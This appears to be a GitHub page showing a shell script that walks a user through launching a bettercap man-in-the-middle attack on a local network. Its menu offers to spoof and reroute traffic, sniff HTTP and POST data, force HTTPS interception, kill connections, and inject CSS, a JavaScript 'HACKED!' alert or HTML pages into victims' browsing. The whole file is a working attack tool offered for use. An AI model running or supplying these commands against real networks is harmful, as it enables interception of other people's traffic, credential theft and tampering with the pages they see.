-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmitm.sh
97 lines (96 loc) · 2.57 KB
/
mitm.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#explain goal, generate command -> mitm attack
echo "Generating command for MitM attack"
COMMAND="sudo bettercap"
#show interfaces
netstat -i
#ask interface
echo ""
echo "Type the interface you want to use,followed by [ENTER]:"
read interface
COMMAND=$COMMAND" -I "$interface
#ask if no-spoofing
echo ""
echo "Specify targets? [y/N]"
read target_yn
if [ "$target_yn" = "y" ];
then
echo ""
echo "Scan targets? [Y/n]"
read scan_yn
if [ "$scan_yn" != "n" ];
then
sh scan_networks.sh
fi
echo ""
echo "Specify targets (comma seperated or range -), followed by [ENTER]:"
read targets
COMMAND=$COMMAND" -T $targets"
fi
echo ""
echo "Do you want to reroute traffic on the network(spoofing), [Y/n]"
read spoof_yn
if [ "$spoof_yn" = "n" ];
then
COMMAND=$COMMAND" --no-spoofing"
fi
echo""
echo "THIS IS THE BASE COMMAND:"
echo $COMMAND
echo ""
echo "Select an option:"
echo "(0) run this command"
echo "(1) see the traffic"
echo "(2) kill the traffic"
echo "(3) HTTP and HSTS attack + sniff"
echo "(4) Force sniff HTTPS traffic (loud)"
echo "(5) Make all pages pink"
echo "(6) Inject HACKED! js alert"
echo "(7) Display meme on all insecure pages"
echo "(8) Play Baby Youtube video"
echo "(c) custom command"
read option
echo "just a moment ..."
echo ""
if [ "$option" = "0" ]; then
echo $COMMAND
$(echo $COMMAND)
fi
if [ "$option" = "1" ]; then
echo $COMMAND" -X"
$(echo $COMMAND" -X")
fi
if [ "$option" = "2" ]; then
echo $COMMAND" --kill"
$(echo $COMMAND" --kill")
fi
if [ "$option" = "3" ]; then
echo $COMMAND" --proxy -P POST"
$(echo $COMMAND" --proxy -P POST")
fi
if [ "$option" = "4" ]; then
echo $COMMAND" --proxy --proxy-https -P POST"
$(echo $COMMAND" --proxy --proxy-https -P POST")
fi
if [ "$option" = "5" ]; then
echo $(echo $COMMAND" --proxy-module injectcss --css-file injection_files/pink.css")
$(echo $COMMAND" --proxy-module injectcss --css-file injection_files/pink.css")
fi
if [ "$option" = "6" ]; then
echo $COMMAND" --proxy-module injectjs --js-data 'alert("HACKED!")'"
$(echo $COMMAND" --proxy-module injectjs --js-data 'alert("HACKED!")'")
fi
if [ "$option" = "7" ]; then
echo $COMMAND" --proxy-module injecthtml --html-file injection_files/hacked.html"
$(echo $COMMAND" --proxy-module injecthtml --html-file injection_files/hacked.html")
fi
if [ "$option" = "8" ]; then
echo $COMMAND" --proxy-module injecthtml --html-file injection_files/baby.html"
$(echo $COMMAND" --proxy-module injecthtml --html-file injection_files/baby.html")
fi
if [ "$option" = "c" ]; then
echo "type your custom command:"
read custom
echo ""
echo $COMMAND" "$custom
$(echo $COMMAND" "$custom)
fi